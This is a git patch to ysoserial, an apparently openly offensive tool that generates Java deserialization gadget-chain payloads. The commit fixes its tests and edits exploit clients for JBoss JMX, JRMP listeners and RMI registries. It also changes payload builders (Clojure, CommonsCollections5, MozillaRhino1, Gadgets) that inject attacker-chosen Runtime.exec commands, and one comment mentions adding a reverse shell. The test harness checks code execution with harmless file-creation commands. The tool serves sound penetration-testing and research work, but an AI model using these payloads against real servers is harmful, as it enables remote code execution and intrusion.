From 80b0d2f3682a3595bc59a2d55d2d5b2dfed8a057 Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Sun, 3 Sep 2017 23:40:17 -0700 Subject: [PATCH] fixed broken tests --- src/main/java/ysoserial/exploit/JBoss.java | 27 +++++---- .../java/ysoserial/exploit/JRMPListener.java | 19 +++--- .../ysoserial/exploit/RMIRegistryExploit.java | 2 +- .../java/ysoserial/payloads/BeanShell1.java | 10 +++- src/main/java/ysoserial/payloads/Clojure.java | 30 ++++++---- .../payloads/CommonsCollections5.java | 16 ++++- .../ysoserial/payloads/MozillaRhino1.java | 8 +++ .../payloads/annotation/Authors.java | 1 + .../java/ysoserial/payloads/util/Gadgets.java | 7 ++- .../ysoserial/payloads/util/JavaVersion.java | 17 ++++-- .../payloads/util/PayloadRunner.java | 3 +- .../secmgr/DelegateSecurityManager.java | 46 ++++---------- .../secmgr/ExecCheckingSecurityManager.java | 8 +-- .../ysoserial/payloads/CommandExecTest.java | 40 +++++++++++++ .../ysoserial/payloads/FileUploadTest.java | 9 +-- .../java/ysoserial/payloads/PayloadsTest.java | 60 ++++++------------- .../ysoserial/payloads/TestHarnessTest.java | 9 +-- src/test/java/ysoserial/util/Callables.java | 34 +++++++++++ src/test/java/ysoserial/util/Files.java | 12 ++++ src/test/java/ysoserial/util/OS.java | 31 ++++++++++ .../java/ysoserial/{ => util}/Throwables.java | 8 +-- 21 files changed, 261 insertions(+), 136 deletions(-) create mode 100644 src/test/java/ysoserial/payloads/CommandExecTest.java create mode 100644 src/test/java/ysoserial/util/Callables.java create mode 100644 src/test/java/ysoserial/util/Files.java create mode 100644 src/test/java/ysoserial/util/OS.java rename src/test/java/ysoserial/{ => util}/Throwables.java (85%) diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java index c3a7e61..ca9a8c1 100644 --- a/src/main/java/ysoserial/exploit/JBoss.java +++ b/src/main/java/ysoserial/exploit/JBoss.java @@ -67,28 +67,28 @@ import ysoserial.payloads.ObjectPayload.Utils; /** - * + * * An exploitation client for JBoss AS/Wildfly JMX - * + * * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol. - * + * * This is not as readily exploitable as in other pieces of software: * 1. they only allow authenticated access by default * 2. they have a very strict module architecture: * - all MBeans exported by default use classloaders that expose almost nothing useful * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl - * - * This client enumerates all application exported MBean method which are then called + * + * This client enumerates all application exported MBean method which are then called * delivering the specified payload. - * + * * I.e. you can succesfully exploit that - * - you have access to the interface - * (username/password can be specified via URL, note: despite not noticeable, - * local connections implicitely use authentication) + * - you have access to the interface + * (username/password can be specified via URL, note: despite not noticeable, + * local connections implicitely use authentication) * - there is an application exported MBean * - that application imports the classes required for the gadget chain - * + * * @author mbechler * */ @@ -98,7 +98,7 @@ import ysoserial.payloads.ObjectPayload.Utils; public class JBoss { public static void main ( String[] args ) { - + if ( args.length < 3 ) { System.err.println("Usage " + JBoss.class.getName() + " "); System.exit(-1); @@ -107,7 +107,7 @@ public class JBoss { URI u = URI.create(args[ 0 ]); final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); - + String username = null; String password = null; if ( u.getUserInfo() != null ) { @@ -315,7 +315,7 @@ public class JBoss { } } - + private static final class ConsoleLogHandler extends Handler { @@ -335,6 +335,7 @@ public class JBoss { public void close () throws SecurityException {} } + @SuppressWarnings({"deprecation"}) private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { private ConnectionProviderContextImpl context; diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java index a77bbbe..17ff6f8 100644 --- a/src/main/java/ysoserial/exploit/JRMPListener.java +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -35,10 +35,10 @@ import ysoserial.payloads.util.Reflections; /** * Generic JRMP listener - * + * * Opens up an JRMP listener that will deliver the specified payload to any * client connecting to it and making a call. - * + * * @author mbechler * */ @@ -61,7 +61,7 @@ public class JRMPListener implements Runnable { this.payloadObject = payloadObject; this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); } - + public JRMPListener (int port, String className, URL classpathUrl) throws IOException { this.port = port; this.payloadObject = makeDummyObject(className); @@ -88,7 +88,7 @@ public class JRMPListener implements Runnable { /** - * + * */ public void close () { this.exit = true; @@ -265,13 +265,13 @@ public class JRMPListener implements Runnable { throw new MarshalException("unable to read objID", e); } - + if ( read.hashCode() == 2 ) { ois.readInt(); // method ois.readLong(); // hash System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); } - + System.err.println("Sending return with payload for obj " + read); out.writeByte(TransportConstants.Return);// transport op @@ -293,6 +293,7 @@ public class JRMPListener implements Runnable { } } + @SuppressWarnings({"deprecation"}) protected static Object makeDummyObject (String className) { try { ClassLoader isolation = new ClassLoader() {}; @@ -307,10 +308,10 @@ public class JRMPListener implements Runnable { return new byte[0]; } } - - + + public static class Dummy implements Serializable { private static final long serialVersionUID = 1L; - + } } diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index e4eff65..aad7dad 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -35,7 +35,7 @@ public class RMIRegistryExploit { public static void exploit(final Registry registry, final Class payloadClass, final String command) throws Exception { - new ExecCheckingSecurityManager().wrap(new Callable(){public Void call() throws Exception { + new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception { ObjectPayload payloadObj = payloadClass.newInstance(); Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); diff --git a/src/main/java/ysoserial/payloads/BeanShell1.java b/src/main/java/ysoserial/payloads/BeanShell1.java index a57eef1..8a9b711 100644 --- a/src/main/java/ysoserial/payloads/BeanShell1.java +++ b/src/main/java/ysoserial/payloads/BeanShell1.java @@ -5,9 +5,11 @@ import bsh.XThis; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; +import java.util.Arrays; import java.util.Comparator; import java.util.PriorityQueue; +import ysoserial.Strings; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.util.Reflections; import ysoserial.payloads.annotation.Dependencies; @@ -24,7 +26,13 @@ public class BeanShell1 extends PayloadRunner implements ObjectPayload> { public Map getObject(final String command) throws Exception { - final String[] execArgs = command.split(" "); - final StringBuilder commandArgs = new StringBuilder(); - for (String arg : execArgs) { - commandArgs.append("\" \""); - commandArgs.append(arg); - } - commandArgs.append("\""); +// final String[] execArgs = command.split(" "); +// final StringBuilder commandArgs = new StringBuilder(); +// for (String arg : execArgs) { +// commandArgs.append("\" \""); +// commandArgs.append(arg); +// } +// commandArgs.append("\""); - final String clojurePayload = - String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2)); - Map fnMap = new HashMap(); +// final String clojurePayload = +// String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2)); + + String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\""); + + final String clojurePayload = + String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd); + + + + Map fnMap = new HashMap(); fnMap.put("hashCode", new clojure.core$constantly().invoke(0)); AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); diff --git a/src/main/java/ysoserial/payloads/CommonsCollections5.java b/src/main/java/ysoserial/payloads/CommonsCollections5.java index 31fff0e..bc322d6 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections5.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections5.java @@ -18,6 +18,7 @@ import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -43,10 +44,16 @@ import ysoserial.payloads.util.Reflections; Requires: commons-collections */ -@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()") +/* +This only works in JDK 8u76 and WITHOUT a security manager + +https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70 + */ +//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()") @SuppressWarnings({"rawtypes", "unchecked"}) +@PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"commons-collections:commons-collections:3.1"}) -@Authors({ Authors.FROHOFF }) +@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER }) public class CommonsCollections5 extends PayloadRunner implements ObjectPayload { public BadAttributeValueExpException getObject(final String command) throws Exception { @@ -86,4 +93,9 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload< public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections5.class, args); } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + } diff --git a/src/main/java/ysoserial/payloads/MozillaRhino1.java b/src/main/java/ysoserial/payloads/MozillaRhino1.java index b4f0717..ea00e64 100644 --- a/src/main/java/ysoserial/payloads/MozillaRhino1.java +++ b/src/main/java/ysoserial/payloads/MozillaRhino1.java @@ -4,7 +4,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.mozilla.javascript.*; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import javax.management.BadAttributeValueExpException; @@ -16,6 +18,7 @@ import java.lang.reflect.Method; by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) +@PayloadTest( precondition = "isApplicableJavaVersion") @Dependencies({"rhino:js:1.7R2"}) @Authors({ Authors.MATTHIASKAISER }) public class MozillaRhino1 implements ObjectPayload { @@ -65,4 +68,9 @@ public class MozillaRhino1 implements ObjectPayload { public static void main(final String[] args) throws Exception { PayloadRunner.run(MozillaRhino1.class, args); } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + } diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java index 20595b0..5ed9085 100644 --- a/src/main/java/ysoserial/payloads/annotation/Authors.java +++ b/src/main/java/ysoserial/payloads/annotation/Authors.java @@ -17,6 +17,7 @@ public @interface Authors { String MATTHIASKAISER = "matthias_kaiser"; String GEBL = "gebl" ; String JACOBAINES = "jacob-baines"; + String JASINNER = "jasinner"; String[] value() default {}; diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index 079a12e..851adb4 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -36,7 +36,7 @@ public class Gadgets { static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled System.setProperty(DESERIALIZE_TRANSLET, "true"); - + // for RMI remote loading System.setProperty("java.rmi.server.useCodebaseOnly", "false"); } @@ -113,7 +113,10 @@ public class Gadgets { final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections - clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); + String cmd = "java.lang.Runtime.getRuntime().exec(\"" + + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + + "\");"; + clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); diff --git a/src/main/java/ysoserial/payloads/util/JavaVersion.java b/src/main/java/ysoserial/payloads/util/JavaVersion.java index 291247d..9eaa451 100644 --- a/src/main/java/ysoserial/payloads/util/JavaVersion.java +++ b/src/main/java/ysoserial/payloads/util/JavaVersion.java @@ -7,13 +7,13 @@ package ysoserial.payloads.util; */ public class JavaVersion { - + public int major; public int minor; public int update; - - - + + + public static JavaVersion getLocalVersion() { String property = System.getProperties().getProperty("java.version"); if ( property == null ) { @@ -26,11 +26,16 @@ public class JavaVersion { v.update = Integer.parseInt(parts[3]); return v; } - - + + public static boolean isAnnInvHUniversalMethodImpl() { JavaVersion v = JavaVersion.getLocalVersion(); return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); } + + public static boolean isBadAttrValExcReadObj() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major > 8 && v.update >= 76); + } } diff --git a/src/main/java/ysoserial/payloads/util/PayloadRunner.java b/src/main/java/ysoserial/payloads/util/PayloadRunner.java index 8e82ed4..75816c3 100644 --- a/src/main/java/ysoserial/payloads/util/PayloadRunner.java +++ b/src/main/java/ysoserial/payloads/util/PayloadRunner.java @@ -1,6 +1,5 @@ package ysoserial.payloads.util; -import java.io.File; import java.util.concurrent.Callable; import ysoserial.Deserializer; @@ -19,7 +18,7 @@ public class PayloadRunner { public static void run(final Class> clazz, final String[] args) throws Exception { // ensure payload generation doesn't throw an exception - byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable(){ + byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable(){ public byte[] call() throws Exception { final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd(); diff --git a/src/main/java/ysoserial/secmgr/DelegateSecurityManager.java b/src/main/java/ysoserial/secmgr/DelegateSecurityManager.java index d24cebc..616ffdf 100755 --- a/src/main/java/ysoserial/secmgr/DelegateSecurityManager.java +++ b/src/main/java/ysoserial/secmgr/DelegateSecurityManager.java @@ -4,6 +4,7 @@ import java.io.FileDescriptor; import java.net.InetAddress; import java.security.Permission; +@SuppressWarnings({"deprecation"}) public class DelegateSecurityManager extends SecurityManager { private SecurityManager securityManager; @@ -15,7 +16,8 @@ public class DelegateSecurityManager extends SecurityManager { this.securityManager = securityManager; } - @Override + @SuppressWarnings({"deprecation"}) + @Override public boolean getInCheck() { return getSecurityManager().getInCheck(); } @@ -47,133 +49,115 @@ public class DelegateSecurityManager extends SecurityManager { @Override public void checkAccess(ThreadGroup g) { - getSecurityManager().checkAccess(g); } @Override public void checkExit(int status) { - getSecurityManager().checkExit(status); } @Override public void checkExec(String cmd) { - getSecurityManager().checkExec(cmd); } @Override public void checkLink(String lib) { - getSecurityManager().checkLink(lib); } @Override public void checkRead(FileDescriptor fd) { - getSecurityManager().checkRead(fd); } @Override public void checkRead(String file) { - getSecurityManager().checkRead(file); } @Override public void checkRead(String file, Object context) { - getSecurityManager().checkRead(file, context); } @Override public void checkWrite(FileDescriptor fd) { - getSecurityManager().checkWrite(fd); } @Override public void checkWrite(String file) { - getSecurityManager().checkWrite(file); } @Override public void checkDelete(String file) { - getSecurityManager().checkDelete(file); } @Override public void checkConnect(String host, int port) { - getSecurityManager().checkConnect(host, port); } @Override public void checkConnect(String host, int port, Object context) { - getSecurityManager().checkConnect(host, port, context); } @Override public void checkListen(int port) { - getSecurityManager().checkListen(port); } @Override public void checkAccept(String host, int port) { - getSecurityManager().checkAccept(host, port); } @Override public void checkMulticast(InetAddress maddr) { - getSecurityManager().checkMulticast(maddr); } - @Override + @SuppressWarnings({"deprecation"}) + @Override public void checkMulticast(InetAddress maddr, byte ttl) { - getSecurityManager().checkMulticast(maddr, ttl); } @Override public void checkPropertiesAccess() { - getSecurityManager().checkPropertiesAccess(); } @Override public void checkPropertyAccess(String key) { - getSecurityManager().checkPropertyAccess(key); } - @Override + @SuppressWarnings({"deprecation"}) + @Override public boolean checkTopLevelWindow(Object window) { - return getSecurityManager().checkTopLevelWindow(window); } @Override public void checkPrintJobAccess() { - getSecurityManager().checkPrintJobAccess(); } - @Override + @SuppressWarnings({"deprecation"}) + @Override public void checkSystemClipboardAccess() { - getSecurityManager().checkSystemClipboardAccess(); } - @Override + @SuppressWarnings({"deprecation"}) + @Override public void checkAwtEventQueueAccess() { - getSecurityManager().checkAwtEventQueueAccess(); } @@ -185,31 +169,27 @@ public class DelegateSecurityManager extends SecurityManager { @Override public void checkPackageDefinition(String pkg) { - getSecurityManager().checkPackageDefinition(pkg); } @Override public void checkSetFactory() { - getSecurityManager().checkSetFactory(); } + @SuppressWarnings({"deprecation"}) @Override public void checkMemberAccess(Class clazz, int which) { - getSecurityManager().checkMemberAccess(clazz, which); } @Override public void checkSecurityAccess(String target) { - getSecurityManager().checkSecurityAccess(target); } @Override public ThreadGroup getThreadGroup() { - return getSecurityManager().getThreadGroup(); } -} \ No newline at end of file +} diff --git a/src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java b/src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java index b01aff5..310179c 100644 --- a/src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java +++ b/src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java @@ -56,8 +56,8 @@ public class ExecCheckingSecurityManager extends SecurityManager { } } - public void wrap(final Runnable runnable) throws Exception { - wrap(new Callable(){ + public void callWrapped(final Runnable runnable) throws Exception { + callWrapped(new Callable(){ public Void call() throws Exception { runnable.run(); return null; @@ -65,7 +65,7 @@ public class ExecCheckingSecurityManager extends SecurityManager { }); } - public T wrap(final Callable callable) throws Exception { + public T callWrapped(final Callable callable) throws Exception { SecurityManager sm = System.getSecurityManager(); // save sm System.setSecurityManager(this); try { @@ -84,4 +84,4 @@ public class ExecCheckingSecurityManager extends SecurityManager { System.setSecurityManager(sm); // restore sm } } -} \ No newline at end of file +} diff --git a/src/test/java/ysoserial/payloads/CommandExecTest.java b/src/test/java/ysoserial/payloads/CommandExecTest.java new file mode 100644 index 0000000..9a7e8aa --- /dev/null +++ b/src/test/java/ysoserial/payloads/CommandExecTest.java @@ -0,0 +1,40 @@ +package ysoserial.payloads; + +import org.junit.Assert; +import ysoserial.CustomTest; +import ysoserial.util.Files; +import ysoserial.util.OS; + +import java.io.File; +import java.util.UUID; +import java.util.concurrent.Callable; + +public class CommandExecTest implements CustomTest { + private final File testFile = + new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", "")); + + @Override + public void run(Callable payload) throws Exception { + Assert.assertFalse("test file should not exist", testFile.exists()); + Exception err; + try { + payload.call(); + } catch (Exception e) { + e.printStackTrace(); + } + Files.waitForFile(testFile, 1000); + Assert.assertTrue("test file should exist", testFile.exists()); + testFile.deleteOnExit(); + } + + @Override + public String getPayloadArgs() { + switch (OS.get()) { + case OSX: + case LINUX: return "touch " + testFile; + case WINDOWS: return "powershell -command new-item -type file " + testFile; + default: throw new UnsupportedOperationException("unsupported os"); + } + } + +} diff --git a/src/test/java/ysoserial/payloads/FileUploadTest.java b/src/test/java/ysoserial/payloads/FileUploadTest.java index a1003ff..01c31b6 100644 --- a/src/test/java/ysoserial/payloads/FileUploadTest.java +++ b/src/test/java/ysoserial/payloads/FileUploadTest.java @@ -10,6 +10,7 @@ import org.junit.Assert; import com.google.common.io.Files; import ysoserial.CustomTest; +import ysoserial.util.OS; /** * @author mbechler @@ -51,7 +52,7 @@ public class FileUploadTest implements CustomTest { break; } Assert.assertNotNull("File not copied", found); - if (!System.getProperty("os.name", "unknown").contains("Windows")) { + if (OS.get() != OS.WINDOWS) { // windows' file locking seems to cause this to fail Assert.assertFalse("Source not deleted", this.source.exists()); } @@ -59,11 +60,11 @@ public class FileUploadTest implements CustomTest { } finally { if ( this.repo.exists()) { for ( File f : this.repo.listFiles()) { - f.delete(); + f.deleteOnExit(); } - this.repo.delete(); + this.repo.deleteOnExit(); } - this.source.delete(); + this.source.deleteOnExit(); } } diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index e13a728..904eb83 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -1,8 +1,6 @@ package ysoserial.payloads; -import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; - import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; @@ -12,13 +10,10 @@ import java.util.Arrays; import java.util.Set; import java.util.concurrent.Callable; -import org.hamcrest.CoreMatchers; import org.jboss.shrinkwrap.resolver.api.maven.Maven; import org.junit.Assert; import org.junit.Assume; -import org.junit.Rule; import org.junit.Test; -import org.junit.contrib.java.lang.system.ProvideSecurityManager; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import org.junit.runners.Parameterized.Parameters; @@ -28,7 +23,7 @@ import ysoserial.CustomPayloadArgs; import ysoserial.CustomTest; import ysoserial.Deserializer; import ysoserial.Serializer; -import ysoserial.Throwables; +import ysoserial.util.Throwables; import ysoserial.WrappedTest; import ysoserial.payloads.TestHarnessTest.ExecMockPayload; import ysoserial.payloads.TestHarnessTest.NoopMockPayload; @@ -52,9 +47,6 @@ TODO: figure out better way to test exception behavior than comparing messages @RunWith ( Parameterized.class ) public class PayloadsTest { - private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); - - @Parameters ( name = "payloadClass: {0}" ) public static Class>[] payloads () { Set> payloadClasses = ObjectPayload.Utils.getPayloadClasses(); @@ -89,57 +81,43 @@ public class PayloadsTest { } if ( !t.precondition().isEmpty() ) { - Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition())); + Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition())); } } String payloadCommand = command; Class customDeserializer = null; - Object wrapper = null; + Object testHarness = null; if ( t != null && !t.harness().isEmpty() ) { - Class wrapperClass = Class.forName(t.harness()); + Class testHarnessClass = Class.forName(t.harness()); try { - wrapper = wrapperClass.getConstructor(String.class).newInstance(command); + testHarness = testHarnessClass.getConstructor(String.class).newInstance(command); } catch ( NoSuchMethodException e ) { - wrapper = wrapperClass.newInstance(); + testHarness = testHarnessClass.newInstance(); } + } else { + testHarness = new CommandExecTest(); // default + } - if ( wrapper instanceof CustomPayloadArgs ) { - payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs(); - } + if ( testHarness instanceof CustomPayloadArgs ) { + payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs(); + } - if ( wrapper instanceof CustomDeserializer ) { - customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer(); - } + if ( testHarness instanceof CustomDeserializer ) { + customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer(); } ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); - final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand)); + final byte[] serialized = sm.callWrapped(makeSerializeCallable(payloadClass, payloadCommand)); Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer); - if ( wrapper instanceof WrappedTest ) { - callable = ( (WrappedTest) wrapper ).createCallable(callable); + if ( testHarness instanceof WrappedTest ) { + callable = ( (WrappedTest) testHarness ).createCallable(callable); } - if ( wrapper instanceof CustomTest ) { - ( (CustomTest) wrapper ).run(callable); + if ( testHarness instanceof CustomTest ) { + ( (CustomTest) testHarness ).run(callable); return; } - try { - - Object deserialized = sm.wrap(callable); - //Assert.fail(ASSERT_MESSAGE); // should never get here - } - catch ( Throwable e ) { - // hopefully everything will reliably nest our ExecException - Throwable innerEx = Throwables.getInnermostCause(e); - if ( ! ( innerEx instanceof ExecException ) ) { - innerEx.printStackTrace(); - } - //Assert.assertEquals(ExecException.class, innerEx.getClass()); - //Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd()); - } - - Assert.assertEquals(Arrays.asList(command), sm.getCmds()); } diff --git a/src/test/java/ysoserial/payloads/TestHarnessTest.java b/src/test/java/ysoserial/payloads/TestHarnessTest.java index 8c4c531..09df5dc 100755 --- a/src/test/java/ysoserial/payloads/TestHarnessTest.java +++ b/src/test/java/ysoserial/payloads/TestHarnessTest.java @@ -16,7 +16,7 @@ public class TestHarnessTest { PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]); Assert.fail("should have failed"); } catch (AssertionError e) { - Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:")); + Assert.assertThat(e.getMessage(), CoreMatchers.containsString("test file should exist")); } } @@ -28,7 +28,7 @@ public class TestHarnessTest { PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]); Assert.fail("should have failed"); } catch (AssertionError e) { - Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); + //Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); } } @@ -55,9 +55,10 @@ public class TestHarnessTest { private final String cmd; public ExecMockSerializable(String cmd) { this.cmd = cmd; } - private void readObject(final ObjectInputStream ois) { + private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException { + ois.defaultReadObject(); try { - Runtime.getRuntime().exec("hostname"); + Runtime.getRuntime().exec(cmd); } catch (IOException e) { throw new RuntimeException(e); } diff --git a/src/test/java/ysoserial/util/Callables.java b/src/test/java/ysoserial/util/Callables.java new file mode 100644 index 0000000..af61d1f --- /dev/null +++ b/src/test/java/ysoserial/util/Callables.java @@ -0,0 +1,34 @@ +package ysoserial.util; + +import java.util.concurrent.Callable; + +public class Callables { + public static interface BeforeAfterCallback { + public void before(); + public void after(); + } + + public static class Wrapper implements Callable { + private final Callable callable; + private final BeforeAfterCallback callback; + + public Wrapper(Callable callable, BeforeAfterCallback callback) { + this.callable = callable; + this.callback = callback; + } + + @Override + public T call() throws Exception { + try { + callback.before(); + return callable.call(); + } finally { + callback.after(); + } + } + } + + public static Callable wrap(Callable callable, BeforeAfterCallback callback) { + return new Wrapper(callable, callback); + } +} diff --git a/src/test/java/ysoserial/util/Files.java b/src/test/java/ysoserial/util/Files.java new file mode 100644 index 0000000..e8227e8 --- /dev/null +++ b/src/test/java/ysoserial/util/Files.java @@ -0,0 +1,12 @@ +package ysoserial.util; + +import java.io.File; + +public class Files { + public static void waitForFile(File file, int timeoutMs) throws InterruptedException { + long timeout = System.currentTimeMillis() + timeoutMs; + while (! file.exists() && System.currentTimeMillis() < timeout) { + Thread.sleep(10); + } + } +} diff --git a/src/test/java/ysoserial/util/OS.java b/src/test/java/ysoserial/util/OS.java new file mode 100644 index 0000000..bfcdc0d --- /dev/null +++ b/src/test/java/ysoserial/util/OS.java @@ -0,0 +1,31 @@ +package ysoserial.util; + +public enum OS { + WINDOWS, + LINUX, + OSX, + OTHER; + + private static final OS os = determineOs(); + + public static OS get() { + return os; + } + + private static OS determineOs() { + String osName = System.getProperty("os.name", "other").toLowerCase(); + if (osName.contains("windows")) { + return WINDOWS; + } else if (osName.contains("mac os x")) { + return OSX; + } else if (osName.contains("linux")) { + return LINUX; + } else { + return OTHER; + } + } + + public static String getTmpDir() { + return System.getProperty("java.io.tmpdir"); + } +} diff --git a/src/test/java/ysoserial/Throwables.java b/src/test/java/ysoserial/util/Throwables.java similarity index 85% rename from src/test/java/ysoserial/Throwables.java rename to src/test/java/ysoserial/util/Throwables.java index 921e493..c90f050 100644 --- a/src/test/java/ysoserial/Throwables.java +++ b/src/test/java/ysoserial/util/Throwables.java @@ -1,8 +1,8 @@ -package ysoserial; +package ysoserial.util; public class Throwables { public static Throwable getInnermostCause(final Throwable t) { final Throwable cause = t.getCause(); - return cause == null || cause == t ? t : getInnermostCause(cause); - } -} \ No newline at end of file + return cause == null || cause == t ? t : getInnermostCause(cause); + } +}